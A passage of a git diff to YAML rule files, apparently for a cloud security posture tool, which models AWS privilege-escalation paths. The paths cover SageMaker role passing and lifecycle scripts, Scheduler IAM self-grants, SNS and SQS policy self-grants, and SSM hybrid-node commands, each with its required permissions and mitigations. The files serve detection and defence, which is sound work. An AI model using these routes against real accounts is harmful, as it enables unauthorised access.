SageMaker-managed images are pulled with service-owned credentials, while OutputDataConfig requires an S3 path writable by the passed role. A free job name, exact creation and PassRole permissions, service trust, non-isolated request and viable output path still need a joined execution witness. - id: aws-sagemaker-passrole-createhyperparametertuningjob provider: aws @@ -196,21 +200,24 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com - action: sagemaker:CreateHyperParameterTuningJob - resource: "*" + resource: arn:{source.partition}:sagemaker:*:{source.account}:hyper-parameter-tuning-job/* target: kind: aws_role selector: trust_allows_service: sagemaker.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" outcome: workload_execution preconditions: - - sagemaker_job_execution_route_unverified + - sagemaker_hpo_script_mode_route conditions: - - id: code_location_readable_by_role - description: The passed role must be able to read the S3 code bundle the source supplies (own public/cross-account bucket or writable bucket). + - id: managed_image_and_capacity + description: A compatible SageMaker-managed Python training image and instance must be available in the Region. + - id: child_job_running + description: The tuning job must start a training job with network isolation off before its script can use the passed role. blockers: - scp_or_boundary_deny confidence: conditional @@ -218,7 +225,7 @@ mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:CreateHyperParameterTuningJob. references: - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateHyperParameterTuningJob.html - notes: "" + notes: A tuning job can launch training jobs under the passed role. Its definition accepts script-mode hyperparameters but no inline ContainerEntrypoint, so the source must write a code archive that the role can read. Input channels are optional, while OutputDataConfig requires a same-Region S3 path writable by the role. The precondition joins these S3 grants, a free tuning-job name, exact creation and PassRole permissions and service trust; image availability, capacity and child-job startup remain conditional. - id: aws-sagemaker-updateuserprofile-passrole-createapp provider: aws @@ -231,6 +238,8 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com - action: sagemaker:UpdateUserProfile resource: "*" - action: sagemaker:CreateApp @@ -245,6 +254,8 @@ scope: same_account aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - sagemaker_existing_profile_role_swap_route conditions: - id: no_inservice_apps description: UpdateUserProfile fails while the profile has InService apps; sagemaker:DeleteApp is needed if any exist. @@ -259,7 +270,7 @@ mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:UpdateUserProfile to platform admins. references: - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateUserProfile.html - notes: "" + notes: The precondition joins one InService profile in an IAM domain to exact UpdateUserProfile, CreateApp, CreatePresignedDomainUrl, PassRole and app tagging grants, and checks that the target role trusts SageMaker. A profile with existing apps needs a separate app-state and restart analysis. The role update, new app start and URL access remain conditional. - id: aws-sagemaker-updatedomain-createuserprofile-passrole provider: aws @@ -272,6 +283,8 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com - action: sagemaker:UpdateDomain resource: "*" - action: sagemaker:CreateUserProfile @@ -288,6 +301,8 @@ scope: same_account aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - sagemaker_domain_default_new_profile_route conditions: - id: no_inservice_apps_in_domain description: UpdateDomain fails while any app in the domain is InService; sagemaker:DeleteApp on all of them is needed otherwise (disruptive). @@ -300,7 +315,7 @@ mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:UpdateDomain/CreateUserProfile to platform admins. references: - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateDomain.html - notes: CreateUserProfile with an explicit ExecutionRole is itself a PassRole path, modelled in aws-sagemaker-createuserprofile-passrole-createapp; this entry follows the page's inherit-default variant. + notes: This inherited-default variant changes one IAM-authenticated domain before creating a profile without an explicit role. The precondition joins the domain and a complete app inventory with no existing app, a free profile name, exact UpdateDomain, CreateUserProfile, CreateApp and CreatePresignedDomainUrl grants, app tagging permission, PassRole and service trust. Domain update, profile creation, app start and URL access remain conditional. A direct explicit-role variant is modelled separately. - id: aws-sagemaker-createuserprofile-passrole-createapp provider: aws @@ -313,6 +328,8 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com - action: sagemaker:CreateUserProfile resource: "*" - action: sagemaker:CreateApp @@ -327,6 +344,8 @@ scope: same_account aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - sagemaker_new_profile_app_route conditions: - id: existing_domain description: A Studio domain covered by CreateUserProfile must exist; CreateApp and CreatePresignedDomainUrl must cover the new profile and app ARNs. @@ -342,7 +361,7 @@ references: - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateUserProfile.html - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UserSettings.html - notes: Not a separate HackTricks section; it is the explicit-role variant of the UpdateDomain section (UserSettings.ExecutionRole on CreateUserProfile), which avoids UpdateDomain and the no-InService-apps restriction. + notes: This explicit-role variant of the UpdateDomain section sets UserSettings.ExecutionRole on a new profile. The precondition joins an IAM-authenticated domain, a free valid profile name, exact CreateUserProfile, PassRole, CreateApp and CreatePresignedDomainUrl grants, app tagging permission and SageMaker service trust. The profile request omits optional tags. Profile creation, app startup and URL access remain conditional. - id: aws-sagemaker-updateclustersoftware-custom-ami provider: aws @@ -362,6 +381,8 @@ via_resource_type: sagemaker_cluster scope: same_account aggregate_as: "Execution roles of HyperPod instance groups in {account}" + preconditions: + - sagemaker_hyperpod_custom_ami_group_role_effect conditions: - id: controlled_custom_ami description: A custom AMI with attacker-controlled startup code must already be available to the account and meet HyperPod's encryption and volume constraints; creating it needs separate EC2 permissions. @@ -376,7 +397,7 @@ mitigation: Restrict sagemaker:UpdateClusterSoftware to platform administrators on specific cluster ARNs, restrict who can create or share AMIs, and keep instance-group roles least-privileged. references: - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateClusterSoftware.html - notes: No role is passed, so iam:PassRole is not required. The page nests this heading under the CreatePresignedDomainUrl section, so coverage counted it as a child of that entry; it is modelled separately here. + notes: No role is passed, so iam:PassRole is not required. AWS does not permit UpdateClusterSoftware to switch a Slurm group from the default AMI to a custom one; a previous custom AMI is needed for that variant. A concrete edge requires the exact InService cluster and instance group to retain the target role, current authorization to update that cluster, and fresh reviewed evidence that an owned compatible unencrypted single-volume custom AMI was applied, nodes booted controlled startup code, and a useful role-only action succeeded. Missing or conflicting update evidence remains unresolved. - id: aws-sagemaker-attach-notebook-lifecycle-config provider: aws @@ -399,6 +420,8 @@ scope: same_account aggregate_as: Roles of notebook instances whose lifecycle configuration can be replaced in {account} outcome: workload_execution + preconditions: + - sagemaker_attach_new_notebook_lifecycle_config conditions: - id: notebook_restart description: The notebook must be stopped for the configuration change and started afterward so the startup hook executes. @@ -413,6 +436,40 @@ - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateNotebookInstance.html notes: This differs from rewriting an already-attached lifecycle configuration, which is covered by aws-sagemaker-updatenotebookinstancelifecycleconfig. +- id: aws-sagemaker-updatenotebookinstancelifecycleconfig + provider: aws + service: sagemaker + title: Replace the startup script of an attached notebook lifecycle configuration + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdatenotebookinstancelifecycleconfig--stored-code-execution-as-the-notebook-role + source_revision: ad7429a974 + summary: The source can replace an existing lifecycle configuration used by a notebook and run code under that notebook's execution role on its next start. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_notebook_instance + scope: same_account + aggregate_as: Roles of notebooks using a lifecycle configuration the source can update in {account} + outcome: workload_execution + preconditions: + - sagemaker_attached_notebook_lifecycle_update + conditions: + - id: future_notebook_start + description: The edited OnStart hook executes only when the attached notebook starts again; the source may need another authorized principal to perform that start. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit updates to notebook lifecycle configurations used by privileged notebooks and review their scripts before restarting those notebooks. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateNotebookInstanceLifecycleConfig.html + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_DescribeNotebookInstance.html + - https://docs.aws.amazon.com/sagemaker/latest/dg/nbi-al2.html + notes: The evaluator joins the exact collected NotebookInstanceLifecycleConfigName, notebook ARN and RoleArn in one account and Region, then checks UpdateNotebookInstanceLifecycleConfig on that configuration ARN. A future start and the script's actual outcome remain conditional. Stopped AL1 and AL2 notebooks cannot restart on their retired platforms. + - id: aws-sagemaker-attach-studio-lifecycle-config-user-profile provider: aws service: sagemaker @@ -434,11 +491,11 @@ scope: same_account aggregate_as: Roles of Studio user profiles with updatable lifecycle settings in {account} outcome: workload_execution + preconditions: + - sagemaker_studio_profile_lcc_route conditions: - id: studio_app_start - description: A compatible Studio app for the profile must start after the update so the lifecycle script runs. - - id: controlled_configuration - description: The source must create a Studio lifecycle configuration for the application type used by the profile. + description: The profile's compatible Studio app must start with the new lifecycle configuration so the script runs. blockers: - scp_or_boundary_deny confidence: conditional @@ -446,4 +503,4 @@ mitigation: Restrict Studio lifecycle-configuration creation and user-profile updates and review startup scripts on profiles with privileged roles. references: - https://docs.aws.amazon.com/sagemaker/latest/dg/studio-lcc.html - notes: Domain-level default settings and shared spaces need separate target-to-resource joins; this entry applies to an individually updatable user profile. + notes: The precondition joins one free JupyterLab or CodeEditor lifecycle-configuration name, the exact user profile and role, CreateStudioLifecycleConfig and UpdateUserProfile permissions, and a creatable app of the same type. Existing apps or incomplete profile, domain, app or lifecycle inventories remain unresolved. Domain defaults and shared spaces need separate joins. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/scheduler.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/scheduler.yaml index 4e0dc64fc9..02d84b1135 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/scheduler.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/scheduler.yaml @@ -10,38 +10,70 @@ - id: aws-scheduler-passrole-createschedule-or-updateschedule provider: aws service: scheduler - title: Create or update a schedule that runs with a passed execution role + title: Create a schedule that adds an IAM permission to its creator source: src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md#iampassrole-schedulercreateschedule--schedulerupdateschedule source_revision: 171e422299 - summary: The source can make EventBridge Scheduler call a supported target using a passable execution role. + summary: The source can schedule a role-authorized IAM inline-policy write to itself and gain a new IAM permission. + source_kind: [aws_user, aws_role] requires: all_of: - action: iam:PassRole - resource: "{target.arn}" - any_of: - - - action: scheduler:CreateSchedule - resource: "*" - - - action: scheduler:UpdateSchedule - resource: "*" + resource: "{target.role_arn}" + request_context: + iam:PassedToService: scheduler.amazonaws.com + - action: scheduler:CreateSchedule + resource: "{target.resource_arn}" target: - kind: aws_role + kind: aws_verified_authority selector: - trust_allows_service: scheduler.amazonaws.com - resource_permission_covers_target: iam:PassRole + aws_scheduler_iam_self_grant: true scope: same_account - aggregate_as: "Roles trusting scheduler.amazonaws.com passable in {account}" - outcome: impersonation + aggregate_as: "Scheduler IAM inline-policy self-grants in {account}" + outcome: permission_grant + grants: ["iam:CreateUser after a scheduled inline-policy write to the exact source principal"] conditions: - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. - - id: updateschedule_existing - description: The UpdateSchedule variant requires an existing schedule within its Resource. - blockers: - - scp_or_boundary_deny + - id: scheduled_iam_policy_write + description: The new schedule must run and its configured IAM inline-policy call must succeed before the source gains the permission. + blockers: [] confidence: conditional severity: critical - mitigation: Restrict iam:PassRole with iam:PassedToService=scheduler.amazonaws.com to specific roles and restrict schedule creation/update. + mitigation: Restrict schedule creation and iam:PassRole to approved execution roles, and prevent those roles from changing their creators' IAM policies. references: - https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html - https://docs.aws.amazon.com/scheduler/latest/UserGuide/setting-up.html - notes: Universal targets let the role call most AWS APIs (write-only, results are not returned), so reach equals the role's write permissions. + notes: The exact new schedule is in the default group. The passed role must trust Scheduler for that schedule and have effective iam:PutUserPolicy or iam:PutRolePolicy on the source IAM principal. The source must lack effective iam:CreateUser beforehand, and its boundary, organization and explicit-deny controls must permit that action after the inline policy is added. The scheduled call and later use remain conditional. The former generic passed-role edge remains excluded. +- id: aws-scheduler-passrole-updateschedule-self-grant + provider: aws + service: scheduler + title: Update an existing schedule to add an IAM permission to its editor + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md#iampassrole-schedulercreateschedule--schedulerupdateschedule + source_revision: cfbbb8b6f8 + summary: The source can update an existing schedule so a role-authorized IAM inline-policy write grants it a new permission. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: iam:PassRole + resource: "{target.role_arn}" + request_context: + iam:PassedToService: scheduler.amazonaws.com + - action: scheduler:UpdateSchedule + resource: "{target.resource_arn}" + target: + kind: aws_verified_authority + selector: + aws_scheduler_iam_self_grant_update: true + scope: same_account + aggregate_as: "Scheduler update IAM inline-policy self-grants in {account}" + outcome: permission_grant + grants: ["iam:CreateUser after a scheduled inline-policy write to the exact source principal"] + conditions: + - id: scheduled_iam_policy_write + description: The updated schedule must run and its IAM inline-policy call must succeed before the source gains the permission. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict scheduler:UpdateSchedule and iam:PassRole to approved roles, and keep the execution role from changing the editor's IAM policies. + references: + - https://docs.aws.amazon.com/scheduler/latest/APIReference/API_UpdateSchedule.html + - https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html + notes: Only one collected existing schedule with no customer-managed KMS key is modeled. The passed role must trust Scheduler for that exact schedule and have effective iam:PutUserPolicy or iam:PutRolePolicy on the source. The source must lack effective iam:CreateUser beforehand, and explicit denies, boundaries and organization policies must permit the new permission. The scheduled write and later use remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/servicecatalog.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/servicecatalog.yaml index f822dd573f..d27a2f6ff3 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/servicecatalog.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/servicecatalog.yaml @@ -28,6 +28,8 @@ via_resource_type: servicecatalog_product scope: same_account aggregate_as: "Service Catalog launch-constraint roles in {account}" + preconditions: + - servicecatalog_new_artifact_effect_unverified conditions: - id: product_owned description: The product must be owned by (not merely shared into) the account so artifacts can be added. @@ -47,7 +49,7 @@ references: - https://docs.aws.amazon.com/servicecatalog/latest/adminguide/constraints-launch.html - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsservicecatalog.html - notes: The launch-constraint guide states the launch role's trust policy must allow the Service Catalog service to assume it, which matches the selector. The Service Authorization Reference lists no dependent actions for servicecatalog:ProvisionProduct, so the end user needs no iam:PassRole; iam:PassRole is only needed by the administrator who creates the launch constraint. The evaluator should still take the role from the launch constraint rather than from the trust policy alone. + notes: The launch-constraint guide states the launch role's trust policy must allow the Service Catalog service to assume it, which matches the selector. The end user needs no iam:PassRole; that permission is needed by the administrator who creates the launch constraint. A concrete edge requires one owned product in a portfolio the source can use, its launch constraint naming the exact role, a source-controlled new artifact, successful provisioning of that artifact, and a useful role-only action. Fresh reviewed evidence must bind the product, portfolio, artifact, provisioned product and exact RoleId; missing or conflicting evidence remains unresolved. - id: aws-servicecatalog-associateprincipal-createartifact-provision provider: aws @@ -72,6 +74,8 @@ portfolio_of_target_product_covered_by: servicecatalog:AssociatePrincipalWithPortfolio scope: same_account aggregate_as: "Service Catalog launch-constraint roles of portfolios the source can join in {account}" + preconditions: + - servicecatalog_new_artifact_effect_unverified conditions: - id: portfolio_covered description: servicecatalog:AssociatePrincipalWithPortfolio must cover the portfolio that holds the product and its launch constraint. @@ -87,4 +91,4 @@ references: - https://docs.aws.amazon.com/servicecatalog/latest/dg/API_AssociatePrincipalWithPortfolio.html - https://docs.aws.amazon.com/servicecatalog/latest/adminguide/constraints-launch.html - notes: Variant of aws-servicecatalog-createprovisioningartifact-provisionproduct that removes its portfolio_end_user condition. {target.portfolio_arn} is the portfolio whose LAUNCH constraint names the role (servicecatalog:ListPortfolios + ListConstraintsForPortfolio); without that inventory the targets are unresolved placeholders. Provisioning an unmodified product runs an administrator-approved template and is not an edge, so CreateProvisioningArtifact stays required. + notes: Variant of aws-servicecatalog-createprovisioningartifact-provisionproduct that lets the source associate itself with the portfolio before provisioning. The same product must belong to that portfolio and its LAUNCH constraint must name the exact role; portfolio-wide role association alone is insufficient. A concrete edge requires a successful self-association, one source-controlled new artifact accepted and provisioned for an owned product, and a useful action under the exact launch role unavailable directly to the source. Fresh reviewed evidence must bind those facts; missing or conflicting evidence remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sns.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sns.yaml new file mode 100644 index 0000000000..147b993ac2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sns.yaml @@ -0,0 +1,34 @@ +# Amazon SNS topic-policy permission gain for an exact same-account IAM user. +# Source: hacktricks-cloud aws-sns-privesc/README.md (rev fd9bf8863b). + +- id: aws-sns-settopicattributes-self-subscribe + provider: aws + service: sns + title: Grant the caller permission to subscribe to a topic + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snssettopicattributes--grant-subscribe-access-to-a-controlled-iam-user + source_revision: fd9bf8863b + summary: A same-account IAM user who can replace one topic policy can name itself and gain Subscribe on that topic. + source_kind: [aws_user] + requires: + all_of: + - action: sns:SetTopicAttributes + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_sns_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["sns:Subscribe on the exact reviewed topic"] + aggregate_as: "SNS Subscribe self-grants in {account}" + conditions: + - id: subscription_endpoint + description: Receiving messages also requires a controlled endpoint and any applicable delivery or confirmation permission. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict sns:SetTopicAttributes on sensitive topics and use explicit denies where a caller must never subscribe. + references: + - https://docs.aws.amazon.com/sns/latest/dg/sns-using-identity-based-policies.html + - https://docs.aws.amazon.com/sns/latest/dg/sns-access-policy-language-api-permissions-reference.html + notes: Only an exact collected topic and same-account IAM user with effective SetTopicAttributes, no prior Subscribe and no surviving identity, boundary or organization deny qualify. Replacing the topic policy can remove an old topic-policy Deny. The route grants permission to request a subscription; it does not prove that an endpoint was confirmed or any message delivered. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sqs.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sqs.yaml new file mode 100644 index 0000000000..22c36d16be --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sqs.yaml @@ -0,0 +1,34 @@ +# Amazon SQS queue-policy permission gain for an exact same-account IAM user. +# Source: hacktricks-cloud aws-sqs-privesc/README.md (rev fd9bf8863b). + +- id: aws-sqs-setqueueattributes-self-receive + provider: aws + service: sqs + title: Grant the caller permission to receive messages from a queue + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md#sqssetqueueattributes--grant-queue-access-to-a-controlled-iam-user + source_revision: fd9bf8863b + summary: A same-account IAM user who can replace one queue policy can name itself and gain ReceiveMessage on that queue. + source_kind: [aws_user] + requires: + all_of: + - action: sqs:SetQueueAttributes + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_sqs_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["sqs:ReceiveMessage on the exact reviewed queue"] + aggregate_as: "SQS ReceiveMessage self-grants in {account}" + conditions: + - id: queue_policy_propagation + description: SQS policy changes can take time to propagate; this route is the newly granted permission, not an observed message read. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict sqs:SetQueueAttributes on sensitive queues and use explicit denies where a caller must never gain message access. + references: + - https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_SetQueueAttributes.html + - https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/troubleshooting-access-denied.html + notes: Only an exact collected queue and a same-account IAM user with effective SetQueueAttributes, no prior ReceiveMessage and no surviving identity, boundary or organization deny qualify. For an SSE-KMS queue, the exact key ARN or ID must resolve to a collected regional KMS key and policy, and the user must have effective kms:Decrypt on that key; aliases and unavailable key policies remain unresolved. This grants the queue permission, not an observed message read; messages encrypted under earlier keys may need other Decrypt grants. An existing direct queue-policy Allow means the user already has access unless a queue-policy Deny blocks it; an account-root Allow only delegates to IAM. A replacement queue policy can remove its old Deny, including NotPrincipal Deny. A direct user grant bypasses a boundary's implicit deny, while an explicit boundary Deny still blocks it. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml index 47185ac70a..b492df33ab 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml @@ -86,6 +86,66 @@ - https://docs.aws.amazon.com/systems-manager/latest/userguide/getting-started-restrict-access-quickstart.html notes: The evaluator checks StartSession on an online instance and its same-Region SSM-SessionManagerRunShell document, plus an OpenDataChannel grant for a future session in that account and Region. The exact generated session ID and instance-level shell restrictions remain conditional. +- id: aws-ssm-sendcommand-hybrid-role + provider: aws + service: ssm + title: Run a shell command on an online hybrid managed node + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmsendcommand + source_revision: 98775f1a6f + summary: The source can run a platform-matching shell document on an online hybrid node whose recorded IamRole names the target role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Service roles of online hybrid nodes reachable by Run Command in {account} + outcome: workload_execution + preconditions: + - ssm_hybrid_sendcommand_role + conditions: + - id: hybrid_node_credential_access + description: The managed node must process the command and its SSM agent credentials must remain accessible to the resulting root or SYSTEM process. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict SendCommand on hybrid managed-instance and shell-document ARNs to approved operators, and keep hybrid service roles narrow. + references: + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_InstanceInformation.html + - https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent-restrict-root-level-commands.html + notes: The evaluator requires the same collected online mi- node, its exact IamRole name, a platform-matching AWS shell document and effective SendCommand on both resource ARNs. It does not infer another node's or EC2 instance-profile role. + +- id: aws-ssm-startsession-hybrid-role + provider: aws + service: ssm + title: Open a shell on an online hybrid managed node + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartsession + source_revision: 98775f1a6f + summary: The source can open a default shell session on an online hybrid node whose recorded IamRole names the target role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Service roles of online hybrid nodes reachable by Session Manager in {account} + outcome: workload_execution + preconditions: + - ssm_hybrid_startsession_role + conditions: + - id: hybrid_shell_credential_access + description: The session must open a usable shell on the node with sufficient local access to its SSM agent credentials. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict StartSession to approved hybrid nodes and shell documents, limit future session data-channel grants, and keep their service roles narrow. + references: + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_InstanceInformation.html + - https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent-restrict-root-level-commands.html + notes: The evaluator requires the same collected online mi- node and exact IamRole, default shell document and a wildcard-capable OpenDataChannel grant for a new session. Port-forwarding-only grants cannot satisfy this route. + - id: aws-ssm-createassociation provider: aws service: ssm @@ -285,7 +345,7 @@ mitigation: Keep JIT approval policies narrow (explicit requesters, tagged nodes, manual approval for sensitive nodes), scope ssm:StartAccessRequest by node, and set Session Manager maximum duration and idle timeouts. references: - https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-just-in-time-node-access.html - notes: StartAccessRequest is authorized on the EC2 instance ARN for an EC2 managed node. An approval policy or an existing approved request must be proven for the source and node before this path can become a reported edge; until then the route remains unresolved. + notes: StartAccessRequest is authorized on the EC2 instance ARN for an EC2 managed node, and JIT supports an assumed-role requester session rather than a plain IAM user. A concrete edge requires fresh reviewed evidence that the exact requesting role session obtained approval for that online node, received its access token, established a session, and performed a useful action using the instance role that the requester could not perform directly. Current StartAccessRequest and GetAccessToken permissions remain required. Missing, mismatched or expired approval evidence remains unresolved. - id: aws-ssm-maintenancewindow-automation-task-passrole provider: aws diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/stepfunctions.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/stepfunctions.yaml index 5fa87c3d04..0f6a2bf0d5 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/stepfunctions.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/stepfunctions.yaml @@ -19,6 +19,8 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: states.amazonaws.com - action: states:TestState resource: "*" target: @@ -29,6 +31,8 @@ scope: same_account aggregate_as: "Roles trusting states.amazonaws.com passable in {account}" outcome: impersonation + preconditions: + - stepfunctions_teststate_privileged_task_unverified conditions: - id: passrole_condition_key description: iam:PassedToService conditions may restrict which roles can be passed. @@ -41,7 +45,7 @@ mitigation: Restrict iam:PassRole on Step Functions roles with iam:PassedToService=states.amazonaws.com, and restrict states:TestState to developers on non-production roles. references: - https://docs.aws.amazon.com/step-functions/latest/dg/test-state-isolation.html - notes: The Step Functions developer guide confirms TestState assumes the provided role and that iam:PassRole is required for an unmocked task. AWS SDK integrations include IAM. Map, Parallel, Activity, .sync, and waitForTaskToken patterns require mocks in TestState, so they do not exercise the role through this path. + notes: TestState assumes the provided role for an unmocked task, and iam:PassRole is required. A concrete role edge requires fresh reviewed evidence of a successful unmocked TestState call, the exact role ID, action and resource, and a useful effect unavailable directly to the caller. Without that evidence the role edge stays unresolved. Map, Parallel, Activity, .sync, and waitForTaskToken patterns require mocks in TestState and do not exercise the role through this path. - id: aws-stepfunctions-createstatemachine-passrole-start provider: aws @@ -54,6 +58,8 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: states.amazonaws.com - action: states:CreateStateMachine resource: "arn:{source.partition}:states:*:{source.account}:stateMachine:*" bind: new_state_machine @@ -72,6 +78,8 @@ scope: same_account aggregate_as: "Roles trusting states.amazonaws.com passable in {account}" outcome: impersonation + preconditions: + - sfn_role_sdk_effect_reviewed conditions: - id: passrole_condition_key description: iam:PassedToService conditions may restrict which roles can be passed. @@ -86,7 +94,8 @@ mitigation: Restrict iam:PassRole on Step Functions roles and state machine creation to the deployment pipeline. references: - https://docs.aws.amazon.com/step-functions/latest/apireference/API_CreateStateMachine.html - notes: "" + - https://docs.aws.amazon.com/step-functions/latest/dg/supported-services-awssdk.html + notes: CreateStateMachine and StartExecution or StartSyncExecution must cover one new name in the same Region, and PassRole must cover the exact execution role for states.amazonaws.com. A concrete role edge also needs a fresh reviewed execution on that role's current state-machine revision showing a supported SDK task succeeded on an exact resource that the source cannot access directly. Without that effect, the role gain remains unresolved. - id: aws-stepfunctions-updatestatemachine-passrole provider: aws @@ -99,6 +108,8 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: states.amazonaws.com target: kind: aws_role selector: @@ -109,6 +120,7 @@ outcome: impersonation preconditions: - sfn_existing_state_machine_update_and_start + - sfn_role_sdk_effect_reviewed conditions: - id: execution_after_update description: The source must start the same state machine after attaching the passed role and updating its definition. @@ -121,4 +133,5 @@ mitigation: Restrict iam:PassRole on Step Functions roles and states:UpdateStateMachine. references: - https://docs.aws.amazon.com/step-functions/latest/apireference/API_UpdateStateMachine.html - notes: "" + - https://docs.aws.amazon.com/step-functions/latest/dg/supported-services-awssdk.html + notes: UpdateStateMachine and StartExecution or StartSyncExecution must cover the same active state machine, and PassRole must cover the exact execution role for states.amazonaws.com. A concrete role edge also needs a fresh reviewed execution on that role's current state-machine revision showing a supported SDK task succeeded on an exact resource that the source cannot access directly. Without that effect, the role gain remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/workspaces.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/workspaces.yaml index 5916a684d3..b7d33e95e6 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/workspaces.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/workspaces.yaml @@ -31,6 +31,8 @@ scope: same_account aggregate_as: "Instance-profile roles passable in {account}" outcome: workload_execution + preconditions: + - workspaces_instances_bound_launch_role_effect conditions: - id: forward_access_session description: ec2:RunInstances is evaluated through a forward access session; aws:CalledVia conditions must admit workspaces-instances.amazonaws.com. @@ -45,4 +47,4 @@ mitigation: Restrict iam:PassRole on instance-profile roles and treat workspaces-instances:CreateWorkspaceInstance like ec2:RunInstances. references: - https://docs.aws.amazon.com/workspaces/latest/adminguide/workspaces-instances.html - notes: Equivalent reach to ec2:RunInstances + iam:PassRole; the source still needs RunInstances on the AMI, network and instance resources. + notes: ManagedInstanceRequest accepts an instance profile and user data. A concrete edge requires fresh reviewed evidence that a supported configuration launched, the exact profile was attached, controlled user data executed, and a useful action succeeded under that role but not for the caller. Current RunInstances grants must cover the exact AMI, network and instance resources with aws:CalledVia=workspaces-instances.amazonaws.com; PassRole must allow ec2.amazonaws.com and the service-linked role must be ready. Missing or conflicting execution evidence remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_pa_az_post_persist_s06.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_pa_az_post_persist_s06.yaml new file mode 100644 index 